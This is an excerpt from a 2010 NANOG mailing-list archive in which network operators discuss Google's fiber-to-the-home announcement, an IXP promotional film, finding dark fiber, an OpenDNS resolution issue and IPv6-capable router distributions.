2010 From: charles at knownelement.com (Charles N Wyble) Date: Wed, 10 Feb 2010 13:57:43 -0800 Subject: Google to offer fiber to end users In-Reply-To: References: <4B73176F.5050306@knownelement.com> Message-ID: <4B732BD7.9010608@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jared Mauch wrote: > I think it's great! > > I've been preparing to float a similar idea locally. > > If this is how they use their market cap, I would love for them to do it in my local market, which does seem to hold a near-and-dear place in the heart of some google C* types. > > - Jared > > * Local details/breakdown: http://puck.nether.net/~jared/blog/?p=84 Awesome write up. Has anyone in the NANOG community been approached by google? I mean presumably this would require a massive coordination effort with existing exchange points etc. Or is google going to simply build an entire long haul network as well? Perhaps combine this with the containers? -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAktzK9MACgkQJmrRtQ6zKE/doQCgxcwc6iDbrDHKCAD0qjqMFBWP f/MAoIVdGf3cbbGj5Q5pYqFzHadhUw9l =jSgj -----END PGP SIGNATURE----- From dhubbard at dino.hostasaurus.com Wed Feb 10 15:58:42 2010 From: dhubbard at dino.hostasaurus.com (David Hubbard) Date: Wed, 10 Feb 2010 16:58:42 -0500 Subject: Google to offer fiber to end users Message-ID: From: Florian Weimer [mailto:fw at deneb.enyo.de] > > * David Hubbard: > > > Residential computers with enough bandwidth to DoS > > hosting providers; that should be fun. > > How is this different from a typical dorm network? > (Perhaps with all that P2P filtering software in place, > it's a mere self-DoS nowadays, but the analogy was not > that far off five years ago or so, with less bandwidth, > of course.) > Three colleges I've worked at were pretty progressive in their monitoring, rate limiting and proactive management of dorm networks; i.e. full bandwidth to campus, i2, etc. destinations but maybe not to other remote locations, automated responses to bad behavior characteristics, etc. I'm far less worried about someone in a dorm launching a full gig of http requests against one IP than a residential computer doing that for 36 hours before someone from Google takes note. If they manage the broadband abuse they way they do gmail forum spammers, I don't have high hopes. David From brandon.galbraith at gmail.com Wed Feb 10 16:00:59 2010 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Wed, 10 Feb 2010 16:00:59 -0600 Subject: Google to offer fiber to end users In-Reply-To: <4B732BD7.9010608@knownelement.com> References: <4B73176F.5050306@knownelement.com> <4B732BD7.9010608@knownelement.com> Message-ID: <366100671002101400m635fcf89tdd43d3245a0b509@mail.gmail.com> On Wed, Feb 10, 2010 at 3:57 PM, Charles N Wyble wrote: > Awesome write up. > > Has anyone in the NANOG community been approached by google? I mean > presumably this would require a massive coordination effort with > existing exchange points etc. Or is google going to simply build an > entire long haul network as well? Perhaps combine this with the containers? > > My assumption was Google already had their long haul network up and running (since 07-08): http://www.google.com/search?q=google+dark+fiber -brandon From smb at cs.columbia.edu Wed Feb 10 16:03:58 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Wed, 10 Feb 2010 17:03:58 -0500 Subject: Google to offer fiber to end users In-Reply-To: <5bcb62b61002101315t4aa0e299o12c2da2f5ab8ff36@mail.gmail.com> References: <4B73176F.5050306@knownelement.com> <5bcb62b61002101315t4aa0e299o12c2da2f5ab8ff36@mail.gmail.com> Message-ID: On Feb 10, 2010, at 4:15 PM, Matt Simmons wrote: > I'm really interested in their distribution ideas, as well as the > bottleneck from the Google network to the rest of the internet. > > Ah, who am I kidding, it's not like anyone cares about the rest of the > internet, right? The WSJ says: "In an interview, Google product manager Minnie Ingersoll said consumers will be able to buy service directly from Google or from other providers, whom Google will allow to resell the service. She said Google will manage the deployment of the network but probably partner with contractors to help build it." --Steve Bellovin, http://www.cs.columbia.edu/~smb From m.hallgren at free.fr Wed Feb 10 16:05:07 2010 From: m.hallgren at free.fr (Michael Hallgren) Date: Wed, 10 Feb 2010 23:05:07 +0100 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <4B72D675.6000908@foobar.org> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4B72D675.6000908@foobar.org> Message-ID: <1265839507.4744.42.camel@home> Le mercredi 10 f?vrier 2010 ? 15:53 +0000, Nick Hilliard a ?crit : > On 10/02/2010 14:46, Mikael Abrahamsson wrote: > > I guess we can agree to disagree then. I think it's highly biased > > towards promoting IXPs, > > Uh, it was produced and paid for by IXPs for the intention of promoting > IXPs. Why do you have an issue with this? > > > and it gives the impression that private peering > > isn't settlement free and that it can't be used to do what an IXP does. > > It just doesn't say so explicitly, but implies that it is so by the flow > > of how things are said and in what order. It sets private connects > > against IXPs, and then describes all things an IXP can be used for, thus > > giving the impression that the PNI can't do this. > > Call me glib, but if you can get the association of PNI providers together > to create a movie about what PNIs are and how they work, I'd be ok if they > glossed over IXPs. Good point. > > > But one factual error for instance, a TCP session (a picture being > > transfrred) doesn't take multiple paths, that's just wrong to say so. > > ECMP? Per packet load balancing, even? Again, the point they were making > is that the path from A to B is not particularly important to the data > being transferred. > > Look, the creators of the movie had 5 minutes to explain something so that > regular Janes and Joes would understand, rather than 1 hour to give a nerdy > in-depth explanation of the nuts and bolts of IXPs. Personally, I think > they did a rather good job. > So do I. Cheers, mh > Nick > (day job: contract IXP operations) > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 197 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From james at freedomnet.co.nz Wed Feb 10 16:08:19 2010 From: james at freedomnet.co.nz (James Jones) Date: Wed, 10 Feb 2010 17:08:19 -0500 Subject: dark fiber In-Reply-To: References: Message-ID: <4B732E53.8070109@freedomnet.co.nz> I am doing some research....is there a way to find out where there is dark fiber and who own's it? From charles at knownelement.com Wed Feb 10 16:13:33 2010 From: charles at knownelement.com (Charles N Wyble) Date: Wed, 10 Feb 2010 14:13:33 -0800 Subject: dark fiber In-Reply-To: <4B732E53.8070109@freedomnet.co.nz> References: <4B732E53.8070109@freedomnet.co.nz> Message-ID: <4B732F8D.5070207@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 James Jones wrote: > I am doing some research....is there a way to find out where there is > dark fiber and who own's it? > In California I have had the best success with environmental impact reports from he public utility commission office. Your request is pretty vague :) What geographic area? What type (sea? land?) etc etc. There are a few companies who sell this data as well. After 9/11 it got really hard, but judicious use of search engines will find most stuff. - -- Charles N Wyble Linux Systems Engineer charles at knownelement.com http://www.knownelement.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAktzL4gACgkQJmrRtQ6zKE8Z1wCffecAsiRKZT0mJD4ZIYN8rY6V t58AoJn7Dgd2LLemu+VObJQHCKy4e7LY =pg3F -----END PGP SIGNATURE----- From davidu at everydns.net Wed Feb 10 16:14:13 2010 From: davidu at everydns.net (David Ulevitch) Date: Wed, 10 Feb 2010 14:14:13 -0800 Subject: Connectivity problems to google via openDNS In-Reply-To: <20100209234316.GQ16972@hezmatt.org> References: <3AD2E46F-EE38-4AE9-B146-D7C024D73C0B@edgewire.sg> <4B71A1C7.7000804@west.net> <20100209234316.GQ16972@hezmatt.org> Message-ID: <4B732FB5.5080908@everydns.net> On 2/9/10 3:43 PM, Matthew Palmer wrote: > Turned out that the DNS responses from OpenDNS (they were in a > cafe somewhere with free wireless that was using OpenDNS) were giving > slightly wrong addresses -- like the real address for example.com was > 192.0.2.12, and OpenDNS was giving the response that example.com was at > 192.0.2.16 (another server in the same cluster, hence the insane confusion). > No wildcarding or recent DNS changes at our end, either -- it was just > OpenDNS screwing things up *somehow*. I've never heard of such a report until now. And if true, that would be shockingly bizarre behavior. In the past when I've heard similar, I have a 100% success rate in discovering it's actually a misconfiguration of authoritative records. Feel free to email me directly if you ever find yourself encountering a similar situation like that again and I'll be happy to troubleshoot it. Thanks, David From jared at puck.nether.net Wed Feb 10 16:15:25 2010 From: jared at puck.nether.net (Jared Mauch) Date: Wed, 10 Feb 2010 17:15:25 -0500 Subject: dark fiber In-Reply-To: <4B732E53.8070109@freedomnet.co.nz> References: <4B732E53.8070109@freedomnet.co.nz> Message-ID: <50BFC890-80DC-4E19-898D-638D3D7395FE@puck.nether.net> On Feb 10, 2010, at 5:08 PM, James Jones wrote: > I am doing some research....is there a way to find out where there is dark fiber and who own's it? You may be better off asking nznog if it's local to you (or your email). - Jared From jared at puck.nether.net Wed Feb 10 16:18:34 2010 From: jared at puck.nether.net (Jared Mauch) Date: Wed, 10 Feb 2010 17:18:34 -0500 Subject: Google to offer fiber to end users In-Reply-To: <4B732BD7.9010608@knownelement.com> References: <4B73176F.5050306@knownelement.com> <4B732BD7.9010608@knownelement.com> Message-ID: On Feb 10, 2010, at 4:57 PM, Charles N Wyble wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Jared Mauch wrote: >> I think it's great! >> >> I've been preparing to float a similar idea locally. >> >> If this is how they use their market cap, I would love for them to do it in my local market, which does seem to hold a near-and-dear place in the heart of some google C* types. >> >> - Jared >> >> * Local details/breakdown: http://puck.nether.net/~jared/blog/?p=84 > > Awesome write up. > > Has anyone in the NANOG community been approached by google? I mean > presumably this would require a massive coordination effort with > existing exchange points etc. Or is google going to simply build an > entire long haul network as well? Perhaps combine this with the containers? Thanks. I want to codify it to something more (average) human-readable before I socialize it in the local community. This sort of investment could have some immediate payback, esp if you have local utility (water, power) buy-in. The challenge I see is having the political will to undertake the project. If you adjust rates up over the first few years until the principal is paid off, the payoff could happen in short-order and remain competitive. Deploying microcell/picocell technology would be easy and could save people like AT&T Mobility/Cingular part of their billions they look to pay for network upgrades. A large scale project here could possibly be done (on-poles) for as low as $44m, and possibly lower as economies of scale come in to play. I'm hoping someone here reading from GOOG will suggest to any local Ann Arbor Alum (eg: Larry Page) that this would be a chump-change investment that would revolutionize telecommunication in the US. I scaled my model up to Michigan-size (for fun) and came up with a cost somewhere around 1 Billion to run fiber down every public roadway. Taking the GOOG market cap of ~170Bln, and if I consider Michigan average (don't know, but please stick with me), this could be done for a small part of their market cap, and ROI could be at a reasonable speed. GE and 10GE optics that can do 70km are cheap, sometimes lower cost than that HDTV you just bought, this would make life very interesting... - Jared From setient at gmail.com Wed Feb 10 16:18:41 2010 From: setient at gmail.com (Ronald Cotoni) Date: Wed, 10 Feb 2010 17:18:41 -0500 Subject: Google to offer fiber to end users In-Reply-To: References: <4B73176F.5050306@knownelement.com> <5bcb62b61002101315t4aa0e299o12c2da2f5ab8ff36@mail.gmail.com> Message-ID: <2f1d68351002101418xcac97dfvfe51c5ec7b123818@mail.gmail.com> On Wed, Feb 10, 2010 at 5:03 PM, Steven Bellovin wrote: > > On Feb 10, 2010, at 4:15 PM, Matt Simmons wrote: > >> I'm really interested in their distribution ideas, as well as the >> bottleneck from the Google network to the rest of the internet. >> >> Ah, who am I kidding, it's not like anyone cares about the rest of the >> internet, right? > > The WSJ says: ?"In an interview, Google product manager Minnie Ingersoll said consumers > will be able to buy service directly from Google or from other > providers, whom Google will allow to resell the service. She said > Google will manage the deployment of the network but probably partner > with contractors to help build it." > > ? ? ? ? ? ? ? ?--Steve Bellovin, http://www.cs.columbia.edu/~smb > > > > > > > I honestly wonder if they will use ipv4 or ipv6 for their rollout... Could be interesting to watch! From ken.gilmour at gmail.com Wed Feb 10 16:44:55 2010 From: ken.gilmour at gmail.com (Ken Gilmour) Date: Wed, 10 Feb 2010 16:44:55 -0600 Subject: Google to offer fiber to end users In-Reply-To: <4B73176F.5050306@knownelement.com> References: <4B73176F.5050306@knownelement.com> Message-ID: <5b6f80201002101444p8037382ue37b3ec7082b19a3@mail.gmail.com> Maybe they're getting their Ideas from the Irish :). Magnet (www.magnet.ie) does a similar thing which started over four years ago. They offer fiber to the home and you can use it for triple-play. I believe when they started the offering, the bandwidth was (initially intended to be) limited only by the end user's equipment and they would "pay as you go" but it appears now as though they have set the limit to 50 Mbps. There's nothing stopping Google from offering Triple-play with extremely cheap long-distance calls, Internet, and HDTV. That kind of bandwidth could easily be utilised, but what next? Google Thin clients? Very exciting! Regards, Ken On 10 February 2010 14:30, Charles N Wyble wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-speed-fiber-optic-networks-update2-.html > > http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experimental.html > > What do folks think? > > Granted it's very early on, and g00g could decide to never leave the > announce phase. > > > > > - -- > Charles N Wyble > Linux Systems Engineer > (818)280-7059 charles at knownelement.com > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAktzF2sACgkQJmrRtQ6zKE91lwCgjdYmEewZtPb2iFM6VZMW5Xce > ydkAoI+ycZQ1JYLoZt7yL04CliGXRLoc > =4eps > -----END PGP SIGNATURE----- > > From charles at knownelement.com Wed Feb 10 16:49:28 2010 From: charles at knownelement.com (Charles N Wyble) Date: Wed, 10 Feb 2010 14:49:28 -0800 Subject: Google to offer fiber to end users In-Reply-To: References: <4B73176F.5050306@knownelement.com> <4B732BD7.9010608@knownelement.com> Message-ID: <4B7337F8.5050807@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jared Mauch wrote: > On Feb 10, 2010, at 4:57 PM, Charles N Wyble wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> Jared Mauch wrote: >>> I think it's great! >>> >>> I've been preparing to float a similar idea locally. >>> >>> If this is how they use their market cap, I would love for them to do it in my local market, which does seem to hold a near-and-dear place in the heart of some google C* types. >>> >>> - Jared >>> >>> * Local details/breakdown: http://puck.nether.net/~jared/blog/?p=84 >> Awesome write up. >> >> Has anyone in the NANOG community been approached by google? I mean >> presumably this would require a massive coordination effort with >> existing exchange points etc. Or is google going to simply build an >> entire long haul network as well? Perhaps combine this with the containers? > > > Thanks. I want to codify it to something more (average) human-readable before I socialize it in the local community. Sure thing. Make sure to blog it up so folks can contribute feedback :) > > This sort of investment could have some immediate payback, esp if you have local utility (water, power) buy-in. Indeed. I was surprised to find how much utility fiber networks exist. I was in a meet me room in down town Los Angeles, and both So Cal Edison and DWP had a presence. I knew that DWP had a fiber network, but wasn't aware SoCal Edison did. Also the city of Burbank power company maintains a fiber network, which links all the studios together. Unfortunately you can't bring dark fiber into the major colo there (Qwest IIRC). However it's quite easy to link any facilities together, and this is heavily utilized by the studios (most of whom have several sites). The challenge I see is having the political will to undertake the project. Hah. Right. Especially with telcos being large campaign contributers. If you adjust rates up over the first few years until the principal is paid off, the payoff could happen in short-order and remain competitive. Mmhmm. And quite frankly, this wouldn't really be necessary if the telcos actually did last mile build outs of fiber at a decent pace. People are very willing to pay for this stuff. It's been proven time and time again. Otherwise the muni folks wouldn't have passed bond measures, started build out and been sued into oblivion by the telcos. That was treated as a last resort, after lack of action by the incumbents. > > Deploying microcell/picocell technology would be easy and could save people like AT&T Mobility/Cingular part of their billions they look to pay for network upgrades. Yep. They should become partners in these efforts and help guide the overall design/requirements etc. Jump in and discuss things like CoS/QoS/e911 etc etc etc. Not to mention considerable expertise in the construction of large scale networks. Alas they won't see it that way :) A large scale project here could possibly be done (on-poles) for as low as $44m, and possibly lower as economies of scale come in to play. Exactly. Especially if the various utility companies can realize the benefit. Smart grid etc. I have no problem with certain amounts of bandwidth being reserved for uses by city governments/ utility corporations who help shoulder the initial build out costs. > > I'm hoping someone here reading from GOOG will suggest to any local Ann Arbor Alum (eg: Larry Page) that this would be a chump-change investment that would revolutionize telecommunication in the US. It sure could. Far more attractive from a CAPex and OPex perspective. > > I scaled my model up to Michigan-size (for fun) and came up with a cost somewhere around 1 Billion to run fiber down every public roadway. Taking the GOOG market cap of ~170Bln, and if I consider Michigan average (don't know, but please stick with me), this could be done for a small part of their market cap, and ROI could be at a reasonable speed. GE and 10GE optics that can do 70km are cheap, sometimes lower cost than that HDTV you just bought, this would make life very interesting... Quite. :) - -- Charles N Wyble Linux Systems Engineer charles at knownelement.com http://www.knownelement.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAktzN/QACgkQJmrRtQ6zKE88iQCdG1u2RMSdXwFUZjnvxWUqV4JO PGEAn1T4QvtFhOQhUGlrUlBfuZrMpcfl =RGf/ -----END PGP SIGNATURE----- From aegal at cisco.com Wed Feb 10 16:52:40 2010 From: aegal at cisco.com (Abdulkadir Egal) Date: Wed, 10 Feb 2010 14:52:40 -0800 Subject: Google to offer fiber to end users In-Reply-To: Message-ID: Hi Jared You can now nominate your community http://www.google.com/appserve/fiberrfi/public/options Regards Abdul On 2/10/10 2:18 PM, "Jared Mauch" wrote: > > On Feb 10, 2010, at 4:57 PM, Charles N Wyble wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> Jared Mauch wrote: >>> I think it's great! >>> >>> I've been preparing to float a similar idea locally. >>> >>> If this is how they use their market cap, I would love for them to do it in >>> my local market, which does seem to hold a near-and-dear place in the heart >>> of some google C* types. >>> >>> - Jared >>> >>> * Local details/breakdown: http://puck.nether.net/~jared/blog/?p=84 >> >> Awesome write up. >> >> Has anyone in the NANOG community been approached by google? I mean >> presumably this would require a massive coordination effort with >> existing exchange points etc. Or is google going to simply build an >> entire long haul network as well? Perhaps combine this with the containers? > > > Thanks. I want to codify it to something more (average) human-readable before > I socialize it in the local community. > > This sort of investment could have some immediate payback, esp if you have > local utility (water, power) buy-in. The challenge I see is having the > political will to undertake the project. If you adjust rates up over the > first few years until the principal is paid off, the payoff could happen in > short-order and remain competitive. > > Deploying microcell/picocell technology would be easy and could save people > like AT&T Mobility/Cingular part of their billions they look to pay for > network upgrades. A large scale project here could possibly be done > (on-poles) for as low as $44m, and possibly lower as economies of scale come > in to play. > > I'm hoping someone here reading from GOOG will suggest to any local Ann Arbor > Alum (eg: Larry Page) that this would be a chump-change investment that would > revolutionize telecommunication in the US. > > I scaled my model up to Michigan-size (for fun) and came up with a cost > somewhere around 1 Billion to run fiber down every public roadway. Taking the > GOOG market cap of ~170Bln, and if I consider Michigan average (don't know, > but please stick with me), this could be done for a small part of their market > cap, and ROI could be at a reasonable speed. GE and 10GE optics that can do > 70km are cheap, sometimes lower cost than that HDTV you just bought, this > would make life very interesting... > > - Jared From tony at lava.net Wed Feb 10 16:52:49 2010 From: tony at lava.net (Antonio Querubin) Date: Wed, 10 Feb 2010 12:52:49 -1000 (HST) Subject: Google to offer fiber to end users In-Reply-To: <4B73176F.5050306@knownelement.com> References: <4B73176F.5050306@knownelement.com> Message-ID: On Wed, 10 Feb 2010, Charles N Wyble wrote: > http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-speed-fiber-optic-networks-update2-.html > http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experimental.html > > What do folks think? Wonderful move - might breath life back into the small ISP market. I hope it's a fully multicast-enabled network too. Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From charles at knownelement.com Wed Feb 10 16:55:28 2010 From: charles at knownelement.com (Charles N Wyble) Date: Wed, 10 Feb 2010 14:55:28 -0800 Subject: Google to offer fiber to end users In-Reply-To: <2f1d68351002101418xcac97dfvfe51c5ec7b123818@mail.gmail.com> References: <4B73176F.5050306@knownelement.com> <5bcb62b61002101315t4aa0e299o12c2da2f5ab8ff36@mail.gmail.com> <2f1d68351002101418xcac97dfvfe51c5ec7b123818@mail.gmail.com> Message-ID: <4B733960.90303@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >> > I honestly wonder if they will use ipv4 or ipv6 for their rollout... > Could be interesting to watch! > Hopefully both. This could be one of the first large scale, dual stacked offerings to end users. There is of course Comcast who recently announced a v6 beta, and impulse.net for folks in the SoCal region. Not sure of any other CLEC types offering v6, but if you are speak up! I guess the phrase innovate/catch up or get run over applies here. :) - -- Charles N Wyble Linux Systems Engineer charles at knownelement.com http://www.knownelement.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAktzOV8ACgkQJmrRtQ6zKE8NkgCgv+9788FreA9dVD9dyoVWWgb7 D5IAoKvjukIOI0NV68+YndpSJ0ItFIwr =vgqD -----END PGP SIGNATURE----- From tony at lava.net Wed Feb 10 17:14:18 2010 From: tony at lava.net (Antonio Querubin) Date: Wed, 10 Feb 2010 13:14:18 -1000 (HST) Subject: Google to offer fiber to end users In-Reply-To: <4B733960.90303@knownelement.com> References: <4B73176F.5050306@knownelement.com> <5bcb62b61002101315t4aa0e299o12c2da2f5ab8ff36@mail.gmail.com> <2f1d68351002101418xcac97dfvfe51c5ec7b123818@mail.gmail.com> <4B733960.90303@knownelement.com> Message-ID: On Wed, 10 Feb 2010, Charles N Wyble wrote: > announced a v6 beta, and impulse.net for folks in the SoCal region. Not > sure of any other CLEC types offering v6, but if you are speak up! I suspect you're more likely to find regional ISPs offering v6 than CLECs. The latter seem driven by the sale of circuits and bandwidth, not necessarilly in the efficient or innovative use of those circuits and bandwidth. > I guess the phrase innovate/catch up or get run over applies here. :) Yep. Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From surfer at mauigateway.com Wed Feb 10 17:15:48 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 10 Feb 2010 15:15:48 -0800 Subject: Google to offer fiber to end users Message-ID: <20100210151548.B5BE6ED7@resin09.mta.everyone.net> --- aegal at cisco.com wrote: From: Abdulkadir Egal You can now nominate your community http://www.google.com/appserve/fiberrfi/public/options ----------------------------------------------- When you select 'nominate your community' you're taken to a 'create an account' page. I doubt they'd consider Sunset Beach on the North Shore of Oahu Hawaii anyway. That's kinda out there... ;-) scott From patrick at ianai.net Wed Feb 10 17:30:59 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 10 Feb 2010 18:30:59 -0500 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> Message-ID: <4A129703-917B-44DE-A846-48BB392D990A@ianai.net> On Feb 10, 2010, at 11:50 AM, Mikael Abrahamsson wrote: > On Wed, 10 Feb 2010, Patrick W. Gilmore wrote: > >> Agree to disagree is right. The film is called "The Internet Revealed: _A_film_about_IXPs_". You find it strange that the film would actually focus on IXPs. I find it strange that you couldn't figure this out before clicking play. > > If it would have said "The internet revealed - an advertisement for IXPs" I might have been expecting the thing I got. It's a matter of degree, right? >> However, I do believe you should know how the Internet works. And if you honestly believe packets in a single stream cannot travel over different paths, you clearly do not. And before you come back with BS about "normal operation" or such, realize your statement was far more "factually incorrect" than what the video said about private interconnects. > > I'm saying they don't normally do so, as one might believe when looking at the movie. Any core router ECMP algorithm that sprays L4 sessions like that will cause re-ordering which is bad, mkay. Yes, flow switching is common, but it is by no means guaranteed. Lots of people do per-packet across LAG bundles. The Internet topology changes do not wait until all TCP sessions are complete. Not everyone does flow switching. Etc. Which all means, as I said in my last sentence above, that you are doing exactly what you accuse them of doing - only worse. Your "facts" are not facts, the most you can accuse this video of is not explaining things fully. I guess the only question left is: What are you advertising? > But I'll shut up after this, I'm obviously not jaded enough like you other people to just swallow this as "advertisement". I expected a correct factual way of describing how the Internet works including IXPs, not an IXP advertisement. My expectations were obviously wrong from the response I'm seeing. I wouldn't call you "jaded" when you do what you accuse others of doing. And to be clear, you got "a correct factual way of describing how the Internet works including IXPs". It may not have been complete, but if you honestly expected a complete description of the Internet in a film of /any/ length ... well, words fail me. -- TTFN, patrick From tony at lava.net Wed Feb 10 17:35:26 2010 From: tony at lava.net (Antonio Querubin) Date: Wed, 10 Feb 2010 13:35:26 -1000 (HST) Subject: Google to offer fiber to end users In-Reply-To: <20100210151548.B5BE6ED7@resin09.mta.everyone.net> References: <20100210151548.B5BE6ED7@resin09.mta.everyone.net> Message-ID: On Wed, 10 Feb 2010, Scott Weeks wrote: > When you select 'nominate your community' you're taken to a 'create an > account' page. I doubt they'd consider Sunset Beach on the North Shore > of Oahu Hawaii anyway. That's kinda out there... ;-) No but maybe Kailua (home of Obama's "western whitehouse")... :) Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From tvarriale at comcast.net Wed Feb 10 17:40:40 2010 From: tvarriale at comcast.net (Tony Varriale) Date: Wed, 10 Feb 2010 17:40:40 -0600 Subject: Google to offer fiber to end users References: Message-ID: >Residential computers with enough bandwidth to DoS >hosting providers; that should be fun. Maybe it will >encourage the incumbant ISP's to start offering users >meaningful bgp communities since they won't be able >to keep up with the abuse reports. > >David That's already here today. tv From jeffrey.lyon at blacklotus.net Wed Feb 10 17:53:37 2010 From: jeffrey.lyon at blacklotus.net (Jeffrey Lyon) Date: Wed, 10 Feb 2010 18:53:37 -0500 Subject: Google to offer fiber to end users In-Reply-To: References: Message-ID: <16720fe01002101553g708500c4n63fd84ef6e21c51c@mail.gmail.com> Our typical gambling/casino customer has maybe 1 - 2 Mbps available to them. Pretty much anyone in the U.S. could DDoS them if they didn't have their HTTP/HTTPS traffic proxied and there are plenty more without any protection at all. Jeff On Wed, Feb 10, 2010 at 6:40 PM, Tony Varriale wrote: >> Residential computers with enough bandwidth to DoS >> hosting providers; that should be fun. ?Maybe it will >> encourage the incumbant ISP's to start offering users >> meaningful bgp communities since they won't be able >> to keep up with the abuse reports. >> >> David > > That's already here today. > > tv > > -- Jeffrey Lyon, Leadership Team jeffrey.lyon at blacklotus.net | http://www.blacklotus.net Black Lotus Communications of The IRC Company, Inc. Follow us on Twitter at http://twitter.com/ddosprotection to find out about news, promotions, and (gasp!) system outages which are updated in real time. Platinum sponsor of HostingCon 2010. Come to Austin, TX on July 19 - 21 to find out how to "protect your booty." From james at freedomnet.co.nz Wed Feb 10 18:06:17 2010 From: james at freedomnet.co.nz (James Jones) Date: Wed, 10 Feb 2010 19:06:17 -0500 Subject: dark fiber In-Reply-To: <50BFC890-80DC-4E19-898D-638D3D7395FE@puck.nether.net> References: <4B732E53.8070109@freedomnet.co.nz> <50BFC890-80DC-4E19-898D-638D3D7395FE@puck.nether.net> Message-ID: Sent from my iPhone On Feb 10, 2010, at 5:15 PM, Jared Mauch wrote: > > On Feb 10, 2010, at 5:08 PM, James Jones wrote: > >> I am doing some research....is there a way to find out where there >> is dark fiber and who own's it? > > You may be better off asking nznog if it's local to you (or your > email). > > - Jared It is no longer local to me. Other wise I would have asked them :) From bpfankuch at cpgreeley.com Wed Feb 10 18:12:28 2010 From: bpfankuch at cpgreeley.com (Blake Pfankuch) Date: Wed, 10 Feb 2010 17:12:28 -0700 Subject: Linux Router distro's with dual stack capability Message-ID: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> Anyone have some insight on a good dual stack Linux (or BSD) router distro? Currently using IPCop but it lacks ipv6 support. I've used SmoothWall Express but not in some time and not sure how well it works with IPv6. Not looking for something huge, just something for the equivalent of a small branch office. Site to Site VPN support and NAT translation capability for a few public IP addresses to private addresses are the only requirements. Public or private responses are welcome! Thanks! Blake Pfankuch Network Engineer From sparctacus at gmail.com Wed Feb 10 18:17:52 2010 From: sparctacus at gmail.com (Bryan Irvine) Date: Wed, 10 Feb 2010 16:17:52 -0800 Subject: Linux Router distro's with dual stack capability In-Reply-To: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> Message-ID: <53d706301002101617o69a4a6eatcffa4650c19b9a91@mail.gmail.com> would pfsense work for you? On Wed, Feb 10, 2010 at 4:12 PM, Blake Pfankuch wrote: > Anyone have some insight on a good dual stack Linux (or BSD) router distro? ?Currently using IPCop but it lacks ipv6 support. ?I've used SmoothWall Express but not in some time and not sure how well it works with IPv6. ?Not looking for something huge, just something for the equivalent of a small branch office. ?Site to Site VPN support and NAT translation capability for a few public IP addresses to private addresses are the only requirements. ?Public or private responses are welcome! > > Thanks! > Blake Pfankuch > Network Engineer > > From damin at nacs.net Wed Feb 10 18:18:41 2010 From: damin at nacs.net (Gregory J. Boehnlein) Date: Wed, 10 Feb 2010 19:18:41 -0500 Subject: Linux Router distro's with dual stack capability In-Reply-To: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> Message-ID: <080701caaaaf$c694ce00$53be6a00$@net> >Anyone have some insight on a good dual stack Linux (or BSD) router distro? Currently using IPCop but it lacks ipv6 >support. I've used SmoothWall Express but not in some time and not sure how well it works with IPv6. Not looking for >something huge, just something for the equivalent of a small branch office. Site to Site VPN support and NAT >translation capability for a few public IP addresses to private addresses are the only requirements. Public or private >responses are welcome! Not sure if they support IPV6 or not, but Imagestream makes Linux based routers, and everyone I've ever talked to that owns one has nothing bad to say about them. From wadeb at cupofcompassion.com Wed Feb 10 18:21:38 2010 From: wadeb at cupofcompassion.com (Wade Blackwell) Date: Thu, 11 Feb 2010 00:21:38 +0000 Subject: Linux Router distro's with dual stack capability Message-ID: <920263236-1265847780-cardhu_decombobulator_blackberry.rim.net-1559740364-@bda491.bisx.prod.on.blackberry> Sorry for the top post, BB won't let me punch this at the bottom. I believe 2.0 is in beta and supports ipv6, I don't know if beta is something you want to mess around with. The PF products have been bulletproof for quite a long time. -W ------Original Message------ From: Bryan Irvine To: Blake Pfankuch Cc: nanog at nanog.org Subject: Re: Linux Router distro's with dual stack capability Sent: Feb 10, 2010 16:17 would pfsense work for you? On Wed, Feb 10, 2010 at 